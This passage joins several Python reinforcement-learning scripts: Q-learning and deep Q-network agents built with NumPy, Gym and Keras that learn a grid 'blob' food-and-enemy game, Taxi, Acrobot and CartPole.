"Blob" def __sub__(self, other): return (self.x - other.x, self.y - other.y) def __str__(self): return f"<{self.name.capitalize()} x={self.x}, y={self.y}>" def move(self, x=None, y=None): # if x is None, move randomly if x is None: self.x += np.random.randint(-1, 2) else: self.x += x # if y is None, move randomly if y is None: self.y += np.random.randint(-1, 2) else: self.y += y # out of bound fix if self.x < 0: # self.x = GRID_SIZE-1 self.x = 0 elif self.x > GRID_SIZE-1: # self.x = 0 self.x = GRID_SIZE-1 if self.y < 0: # self.y = GRID_SIZE-1 self.y = 0 elif self.y > GRID_SIZE-1: # self.y = 0 self.y = GRID_SIZE-1 def take_action(self, choice): # if choice == 0: # self.move(x=1, y=1) # elif choice == 1: # self.move(x=-1, y=-1) # elif choice == 2: # self.move(x=-1, y=1) # elif choice == 3: # self.move(x=1, y=-1) for code, (move_x, move_y) in ACTIONS.items(): if choice == code: self.move(x=move_x, y=move_y) # if choice == 0: # self.move(x=1, y=0) # elif choice == 1: # self.move(x=0, y=1) # elif choice == 2: # self.move(x=-1, y=0) # elif choice == 3: # self.move(x=0, y=-1) # construct the q_table if not already trained if q_table is None or not os.path.isfile(q_table): # q_table = {} # # for every possible combination of the distance of the player # # to both the food and the enemy # for i in range(-GRID_SIZE+1, GRID_SIZE): # for ii in range(-GRID_SIZE+1, GRID_SIZE): # for iii in range(-GRID_SIZE+1, GRID_SIZE): # for iiii in range(-GRID_SIZE+1, GRID_SIZE): # q_table[(i, ii), (iii, iiii)] = np.random.uniform(-5, 0, size=len(ACTIONS)) q_table = np.random.uniform(-5, 0, size=[GRID_SIZE*2-1]*(2+2*N_ENEMIES) + [len(ACTIONS)]) else: # the q table already exists print("Loading Q-table") q_table = np.load(q_table) # this list for tracking rewards episode_rewards = [] # game loop for episode in range(EPISODES): # initialize our blobs ( squares ) player = Blob("Player") food = Blob("Food") enemy1 = Blob("Enemy1") enemy2 = Blob("Enemy2") if episode % SHOW_EVERY == 0: print(f"[{episode:05}] ep: {epsilon:.4f} reward mean: {np.mean(episode_rewards[-SHOW_EVERY:])} alpha={LEARNING_RATE}") show = True else: show = False episode_reward = 0 for i in range(STEPS): # get the observation obs = get_observation((player - food, player - enemy1, player - enemy2)) # Epsilon-greedy policy if np.random.random() > epsilon: # get the action from the q table action = np.argmax(q_table[obs]) else: # random action action = np.random.randint(0, len(ACTIONS)) # take the action player.take_action(action) #### MAYBE ### #enemy.move() #food.move() ############## food.move() enemy1.move() enemy2.move() ### for rewarding if player.x == enemy1.x and player.y == enemy1.y: # if it hit the enemy, punish reward = ENEMY_REWARD elif player.x == enemy2.x and player.y == enemy2.y: # if it hit the enemy, punish reward = ENEMY_REWARD elif player.x == food.x and player.y == food.y: # if it hit the food, reward reward = FOOD_REWARD else: # else, punish it a little for moving reward = MOVE_REWARD ### calculate the Q # get the future observation after taking action future_obs = get_observation((player - food, player - enemy1, player - enemy2)) # get the max future Q value (SarsaMax algorithm) # SARSA = State0, Action0, Reward0, State1, Action1 max_future_q = np.max(q_table[future_obs]) # get the current Q current_q = q_table[obs][action] # calculate the new Q if reward == FOOD_REWARD: new_q = FOOD_REWARD else: # value iteration update # https://en.wikipedia.org/wiki/Q-learning # Calculate the Temporal-Difference target td_target = reward + DISCOUNT * max_future_q # Temporal-Difference new_q = (1 - LEARNING_RATE) * current_q + LEARNING_RATE * td_target # update the q q_table[obs][action] = new_q if show: env = np.zeros((GRID_SIZE, GRID_SIZE, 3), dtype=np.uint8) # set food blob to green env[food.x][food.y] = COLORS[FOOD_CODE] # set the enemy blob to red env[enemy1.x][enemy1.y] = COLORS[ENEMY_CODE] env[enemy2.x][enemy2.y] = COLORS[ENEMY_CODE] # set the player blob to blueish env[player.x][player.y] = COLORS[PLAYER_CODE] # get the image image = Image.fromarray(env, 'RGB') image = image.resize((600, 600)) # show the image cv2.imshow("image", np.array(image)) if reward == FOOD_REWARD or reward == ENEMY_REWARD: if cv2.waitKey(500) == ord('q'): break else: if cv2.waitKey(100) == ord('q'): break episode_reward += reward if reward == FOOD_REWARD or reward == ENEMY_REWARD: break episode_rewards.append(episode_reward) # decay a little randomness in each episode epsilon *= EPSILON_DECAY # with open(f"qtable-{int(time.time())}.pickle", "wb") as f: # pickle.dump(q_table, f) np.save(f"qtable-grid-{GRID_SIZE}-steps-{STEPS}", q_table) moving_avg = np.convolve(episode_rewards, np.ones((SHOW_EVERY,))/SHOW_EVERY, mode='valid') plt.plot([i for i in range(len(moving_avg))], moving_avg) plt.ylabel(f"Avg Reward every {SHOW_EVERY}") plt.xlabel("Episode") plt.show() import numpy as np import gym import random import matplotlib.pyplot as plt import os import time env = gym.make("Taxi-v2").env # init the Q-Table # (500x6) matrix (n_states x n_actions) q_table = np.zeros((env.observation_space.n, env.action_space.n)) # Hyper Parameters # alpha LEARNING_RATE = 0.1 # gamma DISCOUNT_RATE = 0.9 EPSILON = 0.9 EPSILON_DECAY = 0.99993 EPISODES = 100_000 SHOW_EVERY = 1_000 # for plotting metrics all_epochs = [] all_penalties = [] all_rewards = [] for i in range(EPISODES): # reset the env state = env.reset() epochs, penalties, rewards = 0, 0, [] done = False while not done: if random.random() < EPSILON: # exploration action = env.action_space.sample() else: # exploitation action = np.argmax(q_table[state]) next_state, reward, done, info = env.step(action) old_q = q_table[state, action] future_q = np.max(q_table[next_state]) # calculate the new Q ( Q-Learning equation, i.e SARSAMAX ) new_q = (1 - LEARNING_RATE) * old_q + LEARNING_RATE * ( reward + DISCOUNT_RATE * future_q) # update the new Q q_table[state, action] = new_q if reward == -10: penalties += 1 state = next_state epochs += 1 rewards.append(reward) if i % SHOW_EVERY == 0: print(f"[{i}] avg reward:{np.average(all_rewards):.4f} eps:{EPSILON:.4f}") # env.render() all_epochs.append(epochs) all_penalties.append(penalties) all_rewards.append(np.average(rewards)) EPSILON *= EPSILON_DECAY # env.render() # plt.plot(list(range(len(all_rewards))), all_rewards) # plt.show() print("Playing in 5 seconds...") time.sleep(5) os.system("cls") if "nt" in os.name else os.system("clear") # render state = env.reset() done = False while not done: action = np.argmax(q_table[state]) state, reward, done, info = env.step(action) env.render() time.sleep(0.2) os.system("cls") if "nt" in os.name else os.system("clear") env.render() import cv2 from PIL import Image import os # to use CPU uncomment below code # os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 # os.environ["CUDA_VISIBLE_DEVICES"] = "-1" # import tensorflow as tf # config = tf.ConfigProto(intra_op_parallelism_threads=5, # inter_op_parallelism_threads=5, # allow_soft_placement=True, # device_count = {'CPU' : 1, # 'GPU' : 0} # ) import random import gym import numpy as np import matplotlib.pyplot as plt from collections import deque from keras.models import Sequential from keras.layers import Dense, Conv2D, MaxPooling2D, Dropout, Activation, Flatten from keras.optimizers import Adam EPISODES = 5_000 REPLAY_MEMORY_MAX = 20_000 MIN_REPLAY_MEMORY = 1_000 SHOW_EVERY = 50 RENDER_EVERY = 100 LEARN_EVERY = 50 GRID_SIZE = 20 ACTION_SIZE = 9 class Blob: def __init__(self, size): self.size = size self.x = np.random.randint(0, size) self.y = np.random.randint(0, size) def __str__(self): return f"Blob ({self.x}, {self.y})" def __sub__(self, other): return (self.x-other.x, self.y-other.y) def __eq__(self, other): return self.x == other.x and self.y == other.y def action(self, choice): ''' Gives us 9 total movement options. (0,1,2,3,4,5,6,7,8) ''' if choice == 0: self.move(x=1, y=1) elif choice == 1: self.move(x=-1, y=-1) elif choice == 2: self.move(x=-1, y=1) elif choice == 3: self.move(x=1, y=-1) elif choice == 4: self.move(x=1, y=0) elif choice == 5: self.move(x=-1, y=0) elif choice == 6: self.move(x=0, y=1) elif choice == 7: self.move(x=0, y=-1) elif choice == 8: self.move(x=0, y=0) def move(self, x=False, y=False): # If no value for x, move randomly if not x: self.x += np.random.randint(-1, 2) else: self.x += x # If no value for y, move randomly if not y: self.y += np.random.randint(-1, 2) else: self.y += y # If we are out of bounds, fix! if self.x < 0: self.x = 0 elif self.x > self.size-1: self.x = self.size-1 if self.y < 0: self.y = 0 elif self.y > self.size-1: self.y = self.size-1 class BlobEnv: RETURN_IMAGES = True MOVE_PENALTY = 1 ENEMY_PENALTY = 300 FOOD_REWARD = 25 ACTION_SPACE_SIZE = 9 PLAYER_N = 1 # player key in dict FOOD_N = 2 # food key in dict ENEMY_N = 3 # enemy key in dict # the dict! (colors) d = {1: (255, 175, 0), 2: (0, 255, 0), 3: (0, 0, 255)} def __init__(self, size): self.SIZE = size self.OBSERVATION_SPACE_VALUES = (self.SIZE, self.SIZE, 3) # 4 def reset(self): self.player = Blob(self.SIZE) self.food = Blob(self.SIZE) while self.food == self.player: self.food = Blob(self.SIZE) self.enemy = Blob(self.SIZE) while self.enemy == self.player or self.enemy == self.food: self.enemy = Blob(self.SIZE) self.episode_step = 0 if self.RETURN_IMAGES: observation = np.array(self.get_image()) else: observation = (self.player-self.food) + (self.player-self.enemy) return observation def step(self, action): self.episode_step += 1 self.player.action(action) #### MAYBE ### #enemy.move() #food.move() ############## if self.RETURN_IMAGES: new_observation = np.array(self.get_image()) else: new_observation = (self.player-self.food) + (self.player-self.enemy) if self.player == self.enemy: reward = -self.ENEMY_PENALTY done = True elif self.player == self.food: reward = self.FOOD_REWARD done = True else: reward = -self.MOVE_PENALTY if self.episode_step < 200: done = False else: done = True return new_observation, reward, done def render(self): img = self.get_image() img = img.resize((300, 300)) # resizing so we can see our agent in all its glory. cv2.imshow("image", np.array(img)) # show it! cv2.waitKey(1) # FOR CNN # def get_image(self): env = np.zeros((self.SIZE, self.SIZE, 3), dtype=np.uint8) # starts an rbg of our size env[self.food.x][self.food.y] = self.d[self.FOOD_N] # sets the food location tile to green color env[self.enemy.x][self.enemy.y] = self.d[self.ENEMY_N] # sets the enemy location to red env[self.player.x][self.player.y] = self.d[self.PLAYER_N] # sets the player tile to blue img = Image.fromarray(env, 'RGB') # reading to rgb. Apparently. Even tho color definitions are bgr. ??? return img class DQNAgent: def __init__(self, state_size, action_size): self.state_size = state_size self.action_size = action_size self.memory = deque(maxlen=REPLAY_MEMORY_MAX) # discount rate self.gamma = 0.95 # exploration rate self.epsilon = 1.0 self.epsilon_min = 0.01 self.epsilon_decay = 0.9997 self.learning_rate = 0.001 # models to be built # Dual self.model = self.build_model() self.target_model = self.build_model() self.update_target_model() def build_model(self): """Builds the DQN Model""" # Neural network for Deep-Q Learning Model model = Sequential() model.add(Conv2D(256, (3, 3), input_shape=self.state_size)) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Dropout(0.2)) model.add(Conv2D(256, (3, 3))) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Dropout(0.2)) model.add(Flatten()) # this converts our 3D feature maps to 1D feature vectors model.add(Dense(32)) # output layer model.add(Dense(self.action_size, activation="linear")) model.compile(loss="mse", optimizer=Adam(lr=self.learning_rate)) return model def update_target_model(self): """Copy weights from self.model to self.target_model""" self.target_model.set_weights(self.model.get_weights()) def remember(self, state, action, reward, next_state, done): """Adds a sample to the memory""" # for images, expand dimension, comment if you are not using images as states state = state / 255 next_state = next_state / 255 state = np.expand_dims(state, axis=0) next_state = np.expand_dims(next_state, axis=0) self.memory.append((state, action, reward, next_state, done)) def act(self, state): """Takes action using Epsilon-Greedy Policy""" if np.random.random() <= self.epsilon: return random.randint(0, self.action_size-1) else: state = state / 255 state = np.expand_dims(state, axis=0) act_values = self.model.predict(state) # print("act_values:", act_values.shape) return np.argmax(act_values[0]) def replay(self, batch_size): """Train on a replay memory with a batch_size of samples""" if len(self.memory) < MIN_REPLAY_MEMORY: return minibatch = random.sample(self.memory, batch_size) for state, action, reward, next_state, done in minibatch: target = reward if not done: target = ( reward + self.gamma * np.max(self.target_model.predict(next_state)[0]) ) target_f = self.model.predict(state) target_f[0][action] = target self.model.fit(state, target_f, epochs=1, verbose=0, batch_size=1) # decay epsilon if possible self.epsilon = max(self.epsilon * self.epsilon_decay, self.epsilon_min) def load(self, name): self.model.load_weights(name) self.target_model.load_weights(name) def save(self, name): self.model.save_weights(name) self.target_model.save_weights(name) if __name__ == "__main__": batch_size = 64 env = BlobEnv(GRID_SIZE) agent = DQNAgent(env.OBSERVATION_SPACE_VALUES, ACTION_SIZE) ep_rewards = deque([-200], maxlen=SHOW_EVERY) avg_rewards = [] min_rewards = [] max_rewards = [] for episode in range(1, EPISODES+1): # restarting episode => reset episode reward and step number episode_reward = 0 step = 1 # reset env and get init state current_state = env.reset() done = False while True: # take action action = agent.act(current_state) next_state, reward, done = env.step(action) episode_reward += reward if episode % RENDER_EVERY == 0: env.render() # add transition to agent's memory agent.remember(current_state, action, reward, next_state, done) if step % LEARN_EVERY == 0: agent.replay(batch_size=batch_size) current_state = next_state step += 1 if done: agent.update_target_model() break ep_rewards.append(episode_reward) avg_reward = np.mean(ep_rewards) min_reward = min(ep_rewards) max_reward = max(ep_rewards) avg_rewards.append(avg_reward) min_rewards.append(min_reward) max_rewards.append(max_reward) print(f"[{episode}] avg:{avg_reward:.2f} min:{min_reward} max:{max_reward} eps:{agent.epsilon:.4f}") # if episode % SHOW_EVERY == 0: # print(f"[{episode}] avg: {avg_reward} min: {min_reward} max: {max_reward} eps: {agent.epsilon:.4f}") episodes = list(range(EPISODES)) plt.plot(episodes, avg_rewards, c='b') plt.plot(episodes, min_rewards, c='r') plt.plot(episodes, max_rewards, c='g') plt.show() agent.save("blob_v1.h5") import os # to use CPU uncomment below code os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 os.environ["CUDA_VISIBLE_DEVICES"] = "-1" import tensorflow as tf config = tf.ConfigProto(intra_op_parallelism_threads=5, inter_op_parallelism_threads=5, allow_soft_placement=True, device_count = {'CPU' : 1, 'GPU' : 0} ) import random import gym import numpy as np import matplotlib.pyplot as plt from collections import deque from keras.models import Sequential from keras.layers import Dense from keras.optimizers import Adam EPISODES = 5_000 REPLAY_MEMORY_MAX = 2_000 SHOW_EVERY = 500 RENDER_EVERY = 1_000 class DQNAgent: def __init__(self, state_size, action_size): self.state_size = state_size self.action_size = action_size self.memory = deque(maxlen=REPLAY_MEMORY_MAX) # discount rate self.gamma = 0.95 # exploration rate self.epsilon = 1.0 self.epsilon_min = 0.01 self.epsilon_decay = 0.9997 self.learning_rate = 0.001 # models to be built # Dual self.model = self.build_model() self.target_model = self.build_model() self.update_target_model() def build_model(self): """Builds the DQN Model""" # Neural network for Deep-Q Learning Model model = Sequential() model.add(Dense(32, input_dim=self.state_size, activation="relu")) model.add(Dense(32, activation="relu")) # output layer model.add(Dense(self.action_size, activation="linear")) model.compile(loss="mse", optimizer=Adam(lr=self.learning_rate)) return model def update_target_model(self): """Copy weights from self.model to self.target_model""" self.target_model.set_weights(self.model.get_weights()) def remember(self, state, action, reward, next_state, done): """Adds a sample to the memory""" self.memory.append((state, action, reward, next_state, done)) def act(self, state): """Takes action using Epsilon-Greedy Policy""" if np.random.random() <= self.epsilon: return random.randint(0, self.action_size-1) else: act_values = self.model.predict(state) # print("act_values:", act_values.shape) return np.argmax(act_values[0]) def replay(self, batch_size): """Train on a replay memory with a batch_size of samples""" minibatch = random.sample(self.memory, batch_size) for state, action, reward, next_state, done in minibatch: target = reward if not done: target = ( reward + self.gamma * np.max(self.target_model.predict(next_state)[0]) ) target_f = self.model.predict(state) target_f[0][action] = target self.model.fit(state, target_f, epochs=1, verbose=0) # decay epsilon if possible self.epsilon = max(self.epsilon * self.epsilon_decay, self.epsilon_min) def load(self, name): self.model.load_weights(name) self.target_model.load_weights(name) def save(self, name): self.model.save_weights(name) self.target_model.save_weights(name) if __name__ == "__main__": env = gym.make("Acrobot-v1") state_size = env.observation_space.shape[0] action_size = env.action_space.n agent = DQNAgent(state_size=state_size, action_size=action_size) # agent.load("AcroBot_v1.h5") done = False batch_size = 32 all_rewards = deque(maxlen=SHOW_EVERY) avg_rewards = [] for e in range(EPISODES): state = env.reset() state = np.reshape(state, (1, state_size)) rewards = 0 while True: action = agent.act(state) # print(action) next_state, reward, done, info = env.step(action) # punish if not yet finished # reward = reward if not done else 10 next_state = np.reshape(next_state, (1, state_size)) agent.remember(state, action, reward, next_state, done) state = next_state if done: agent.update_target_model() break if e % RENDER_EVERY == 0: env.render() rewards += reward # print(rewards) all_rewards.append(rewards) avg_reward = np.mean(all_rewards) avg_rewards.append(avg_reward) if e % SHOW_EVERY == 0: print(f"[{e:4}] avg reward:{avg_reward:.3f} eps: {agent.epsilon:.2f}") if len(agent.memory) > batch_size: agent.replay(batch_size) agent.save("AcroBot_v1.h5") plt.plot(list(range(EPISODES)), avg_rewards) plt.show() import os # to use CPU uncomment below code os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 os.environ["CUDA_VISIBLE_DEVICES"] = "-1" import tensorflow as tf config = tf.ConfigProto(intra_op_parallelism_threads=5, inter_op_parallelism_threads=5, allow_soft_placement=True, device_count = {'CPU' : 1, 'GPU' : 0} ) import random import gym import numpy as np import matplotlib.pyplot as plt from collections import deque from keras.models import Sequential from keras.layers import Dense from keras.optimizers import Adam EPISODES = 1000 REPLAY_MEMORY_MAX = 5000 SHOW_EVERY = 100 class DQNAgent: def __init__(self, state_size, action_size): self.state_size = state_size self.action_size = action_size self.memory = deque(maxlen=REPLAY_MEMORY_MAX) # discount rate self.gamma = 0.95 # exploration rate self.epsilon = 1.0 self.epsilon_min = 0.01 self.epsilon_decay = 0.995 self.learning_rate = 0.001 # model to be built self.model = None self.build_model() def build_model(self): """Builds the DQN Model""" # Neural network for Deep-Q Learning Model model = Sequential() model.add(Dense(24, input_dim=self.state_size, activation="relu")) model.add(Dense(24, activation="relu")) # output layer model.add(Dense(self.action_size, activation="linear")) model.compile(loss="mse", optimizer=Adam(lr=self.learning_rate)) self.model = model def remember(self, state, action, reward, next_state, done): """Adds a sample to the memory""" self.memory.append((state, action, reward, next_state, done)) def act(self, state): """Takes action using Epsilon-Greedy Policy""" if np.random.random() <= self.epsilon: return random.randint(0, self.action_size-1) else: act_values = self.model.predict(state) # print("act_values:", act_values.shape) return np.argmax(act_values[0]) def replay(self, batch_size): """Train on a replay memory with a batch_size of samples""" minibatch = random.sample(self.memory, batch_size) for state, action, reward, next_state, done in minibatch: target = reward if not done: target = ( reward + self.gamma * np.max(self.model.predict(next_state)[0]) ) target_f = self.model.predict(state) target_f[0][action] = target self.model.fit(state, target_f, epochs=1, verbose=0) # decay epsilon if possible self.epsilon = max(self.epsilon * self.epsilon_decay, self.epsilon_min) def load(self, name): self.model.load_weights(name) def save(self, name): self.model.save_weights(name) if __name__ == "__main__": env = gym.make("CartPole-v1") state_size = env.observation_space.shape[0] action_size = env.action_space.n agent = DQNAgent(state_size=state_size, action_size=action_size) done = False batch_size = 32 scores = [] avg_scores = [] avg_score = 0 for e in range(EPISODES): state = env.reset() state = np.reshape(state, (1, state_size)) for t in range(500): action = agent.act(state) # print(action) next_state, reward, done, info = env.step(action) # punish if not yet finished reward = reward if not done else -10 next_state = np.reshape(next_state, (1, state_size)) agent.remember(state, action, reward, next_state, done) state = next_state if done: print(f"[{e:4}] avg score:{avg_score:.3f} eps: {agent.epsilon:.2f}") break if e % SHOW_EVERY == 0: env.render() if len(agent.memory) > batch_size: agent.replay(batch_size) scores.append(t) avg_score = np.average(scores) avg_scores.append(avg_score) agent.save("v1.h5") plt.plot(list(range(EPISODES)), avg_scores) plt.show() import numpy as np import keras.backend.tensorflow_backend as backend from keras.models import Sequential from keras.layers import Dense, Dropout, Conv2D, MaxPooling2D, Activation, Flatten, LSTM from keras.optimizers import Adam from keras.callbacks import TensorBoard import tensorflow as tf from collections import deque import time import random from tqdm import tqdm import os from PIL import Image import cv2 import itertools DISCOUNT = 0.96 REPLAY_MEMORY_SIZE = 50_000 # How many last steps to keep for model training MIN_REPLAY_MEMORY_SIZE = 1_000 # Minimum number of steps in a memory to start training MINIBATCH_SIZE = 32 # How many steps (samples) to use for training UPDATE_TARGET_EVERY = 5 # Terminal states (end of episodes) MODEL_NAME = '3x128-LSTM-7enemies-' MIN_REWARD = -200 # For model save MEMORY_FRACTION = 0.20 # Environment settings EPISODES = 50_000 # Exploration settings epsilon = 1.0 # not a constant, going to be decayed EPSILON_DECAY = 0.999771 MIN_EPSILON = 0.01 # Stats settings AGGREGATE_STATS_EVERY = 100 # episodes SHOW_PREVIEW = False class Blob: def __init__(self, size): self.size = size self.x = np.random.randint(0, size) self.y = np.random.randint(0, size) def __str__(self): return f"Blob ({self.x}, {self.y})" def __sub__(self, other): return (self.x-other.x, self.y-other.y) def __eq__(self, other): return self.x == other.x and self.y == other.y def action(self, choice): ''' Gives us 9 total movement options. (0,1,2,3,4,5,6,7,8) ''' if choice == 0: self.move(x=1, y=0) elif choice == 1: self.move(x=-1, y=0) elif choice == 2: self.move(x=0, y=1) elif choice == 3: self.move(x=0, y=-1) def move(self, x=False, y=False): # If no value for x, move randomly if x is False: self.x += np.random.randint(-1, 2) else: self.x += x # If no value for y, move randomly if y is False: self.y += np.random.randint(-1, 2) else: self.y += y # If we are out of bounds, fix! if self.x < 0: self.x = 0 elif self.x > self.size-1: self.x = self.size-1 if self.y < 0: self.y = 0 elif self.y > self.size-1: self.y = self.size-1 class BlobEnv: SIZE = 20 RETURN_IMAGES = False MOVE_PENALTY = 1 ENEMY_PENALTY = 300 FOOD_REWARD = 25 # if RETURN_IMAGES: # OBSERVATION_SPACE_VALUES = (SIZE, SIZE, 3) # 4 # else: # OBSERVATION_SPACE_VALUES = (4,) ACTION_SPACE_SIZE = 4 PLAYER_N = 1 # player key in dict FOOD_N = 2 # food key in dict ENEMY_N = 3 # enemy key in dict # the dict! (colors) d = {1: (255, 175, 0), 2: (0, 255, 0), 3: (0, 0, 255)} def __init__(self, n_enemies=7): self.n_enemies = n_enemies self.n_states = len(self.reset()) def reset(self): self.enemies = [] self.player = Blob(self.SIZE) self.food = Blob(self.SIZE) while self.food == self.player: self.food = Blob(self.SIZE) for i in range(self.n_enemies): enemy = Blob(self.SIZE) while enemy == self.player or enemy == self.food: enemy = Blob(self.SIZE) self.enemies.append(enemy) self.episode_step = 0 if self.RETURN_IMAGES: observation = np.array(self.get_image()) else: # all blob's coordinates observation = [self.player.x, self.player.y, self.food.x, self.food.y] + list(itertools.chain(*[[e.x, e.y] for e in self.enemies])) return observation def step(self, action): self.episode_step += 1 self.player.action(action) #### MAYBE ### #enemy.move() #food.move() ############## if self.RETURN_IMAGES: new_observation = np.array(self.get_image()) else: new_observation = [self.player.x, self.player.y, self.food.x, self.food.y] + list(itertools.chain(*[[e.x, e.y] for e in self.enemies])) # set the reward to move penalty by default reward = -self.MOVE_PENALTY if self.player == self.food: # if the player hits the food, good reward reward = self.FOOD_REWARD else: for enemy in self.enemies: if enemy == self.player: # if the player hits one of the enemies, heavy punishment reward = -self.ENEMY_PENALTY break done = False if reward == self.FOOD_REWARD or reward == -self.ENEMY_PENALTY or self.episode_step >= 200: done = True return new_observation, reward, done def render(self): img = self.get_image() img = img.resize((300, 300)) # resizing so we can see our agent in all its glory. cv2.imshow("image", np.array(img)) # show it! cv2.waitKey(1) # FOR CNN # def get_image(self): env = np.zeros((self.SIZE, self.SIZE, 3), dtype=np.uint8) # starts an rbg of our size env[self.food.x][self.food.y] = self.d[self.FOOD_N] # sets the food location tile to green color for enemy in self.enemies: env[enemy.x][enemy.y] = self.d[ENEMY_N] # sets the enemy location to red env[self.player.x][self.player.y] = self.d[self.PLAYER_N] # sets the player tile to blue img = Image.fromarray(env, 'RGB') # reading to rgb. Apparently. Even tho color definitions are bgr. ??? return img env = BlobEnv() # For stats ep_rewards = [-200] # For more repetitive results random.seed(1) np.random.seed(1) tf.set_random_seed(1) # Memory fraction, used mostly when trai8ning multiple agents #gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=MEMORY_FRACTION) #backend.set_session(tf.Session(config=tf.ConfigProto(gpu_options=gpu_options))) # Create models folder if not os.path.isdir('models'): os.makedirs('models') # Own Tensorboard class class ModifiedTensorBoard(TensorBoard): # Overriding init to set initial step and writer (we want one log file for all .fit() calls) def __init__(self, **kwargs): super().__init__(**kwargs) self.step = 1 self.writer = tf.summary.FileWriter(self.log_dir) # Overriding this method to stop creating default log writer def set_model(self, model): pass # Overrided, saves logs with our step number # (otherwise every .fit() will start writing from 0th step) def on_epoch_end(self, epoch, logs=None): self.update_stats(**logs) # Overrided # We train for one batch only, no need to save anything at epoch end def on_batch_end(self, batch, logs=None): pass # Overrided, so won't close writer def on_train_end(self, _): pass # Custom method for saving own metrics # Creates writer, writes custom metrics and closes writer def update_stats(self, **stats): self._write_logs(stats, self.step) # Agent class class DQNAgent: def __init__(self, state_in_image=True): self.state_in_image = state_in_image # Main model self.model = self.create_model() # Target network self.target_model = self.create_model() self.target_model.set_weights(self.model.get_weights()) # An array with last n steps for training self.replay_memory = deque(maxlen=REPLAY_MEMORY_SIZE) # Custom tensorboard object self.tensorboard = ModifiedTensorBoard(log_dir="logs/{}-{}".format(MODEL_NAME, int(time.time()))) # Used to count when to update target network with main network's weights self.target_update_counter = 0 def create_model(self): # get the NN input length model = Sequential() if self.state_in_image: model.add(Conv2D(256, (3, 3), input_shape=env.OBSERVATION_SPACE_VALUES)) # OBSERVATION_SPACE_VALUES = (10, 10, 3) a 10x10 RGB image. model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Dropout(0.2)) model.add(Conv2D(256, (3, 3))) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Dropout(0.2)) model.add(Flatten()) # this converts our 3D feature maps to 1D feature vectors model.add(Dense(32)) else: # model.add(Dense(32, activation="relu", input_shape=(env.n_states,))) # model.add(Dense(32, activation="relu")) # model.add(Dropout(0.2)) # model.add(Dense(32, activation="relu")) # model.add(Dropout(0.2)) model.add(LSTM(128, activation="relu", input_shape=(None, env.n_states,), return_sequences=True)) model.add(Dropout(0.3)) model.add(LSTM(128, activation="relu", return_sequences=True)) model.add(Dropout(0.3)) model.add(LSTM(128, activation="relu", return_sequences=False)) model.add(Dropout(0.3)) model.add(Dense(env.ACTION_SPACE_SIZE, activation='linear')) # ACTION_SPACE_SIZE = how many choices (9) model.compile(loss="mse", optimizer=Adam(lr=0.001), metrics=['accuracy']) return model # Adds step's data to a memory replay array # (observation space, action, reward, new observation space, done) def update_replay_memory(self, transition): self.replay_memory.append(transition) # Trains main network every step during episode def train(self, terminal_state, step): # Start training only if certain number of samples is already saved if len(self.replay_memory) < MIN_REPLAY_MEMORY_SIZE: return # Get a minibatch of random samples from memory replay table minibatch = random.sample(self.replay_memory, MINIBATCH_SIZE) # Get current states from minibatch, then query NN model for Q values if self.state_in_image: current_states = np.array([transition[0] for transition in minibatch])/255 else: current_states = np.array([transition[0] for transition in minibatch]) current_qs_list = self.model.predict(np.expand_dims(current_states, axis=1)) # Get future states from minibatch, then query NN model for Q values # When using target network, query it, otherwise main network should be queried if self.state_in_image: new_current_states = np.array([transition[3] for transition in minibatch])/255 else: new_current_states = np.array([transition[3] for transition in minibatch]) future_qs_list = self.target_model.predict(np.expand_dims(new_current_states, axis=1)) X = [] y = [] # Now we need to enumerate our batches for index, (current_state, action, reward, new_current_state, done) in enumerate(minibatch): # If not a terminal state, get new q from future states, otherwise set it to 0 # almost like with Q Learning, but we use just part of equation here if not done: max_future_q = np.max(future_qs_list[index]) new_q = reward + DISCOUNT * max_future_q else: new_q = reward # Update Q value for given state current_qs = current_qs_list[index] current_qs[action] = new_q # And append to our training data X.append(current_state) y.append(current_qs) # Fit on all samples as one batch, log only on terminal state if self.state_in_image: self.model.fit(np.array(X)/255, np.array(y), batch_size=MINIBATCH_SIZE, verbose=0, shuffle=False, callbacks=[self.tensorboard] if terminal_state else None) else: # self.model.fit(np.array(X), np.array(y), batch_size=MINIBATCH_SIZE, verbose=0, shuffle=False, callbacks=[self.tensorboard] if terminal_state else None) self.model.fit(np.expand_dims(X, axis=1), np.array(y), batch_size=MINIBATCH_SIZE, verbose=0, shuffle=False, callbacks=[self.tensorboard] if terminal_state else None) # Update target network counter every episode if terminal_state: self.target_update_counter += 1 # If counter reaches set value, update target network with weights of main network if self.target_update_counter > UPDATE_TARGET_EVERY: self.target_model.set_weights(self.model.get_weights()) self.target_update_counter = 0 # Queries main network for Q values given current observation space (environment state) def get_qs(self, state): if self.state_in_image: return self.model.predict(np.array(state).reshape(-1, *state.shape)/255)[0] else: # return self.model.predict(np.array(state).reshape(1, env.n_states))[0] return self.model.predict(np.array(state).reshape(1, 1, env.n_states))[0] agent = DQNAgent(state_in_image=False) print("Number of states:", env.n_states) # agent.model.load_weights("models/2x32____22.00max___-2.44avg_-200.00min__1563463022.model") # Iterate over episodes for episode in tqdm(range(1, EPISODES + 1), ascii=True, unit='episodes'): # Update tensorboard step every episode agent.tensorboard.step = episode # Restarting episode - reset episode reward and step number episode_reward = 0 step = 1 # Reset environment and get initial state current_state = env.reset() # Reset flag and start iterating until episode ends done = False while not done: # This part stays mostly the same, the change is to query a model for Q values if np.random.random() > epsilon: # Get action from Q table action = np.argmax(agent.get_qs(current_state)) else: # Get random action action = np.random.randint(0, env.ACTION_SPACE_SIZE) new_state, reward, done = env.step(action) # Transform new continous state to new discrete state and count reward episode_reward += reward if SHOW_PREVIEW and not episode % AGGREGATE_STATS_EVERY: env.render() # Every step we update replay memory and train main network agent.update_replay_memory((current_state, action, reward, new_state, done)) agent.train(done, step) current_state = new_state step += 1 # Append episode reward to a list and log stats (every given number of episodes) ep_rewards.append(episode_reward) if not episode % AGGREGATE_STATS_EVERY or episode == 1: average_reward = sum(ep_rewards[-AGGREGATE_STATS_EVERY:])/len(ep_rewards[-AGGREGATE_STATS_EVERY:]) min_reward = min(ep_rewards[-AGGREGATE_STATS_EVERY:]) 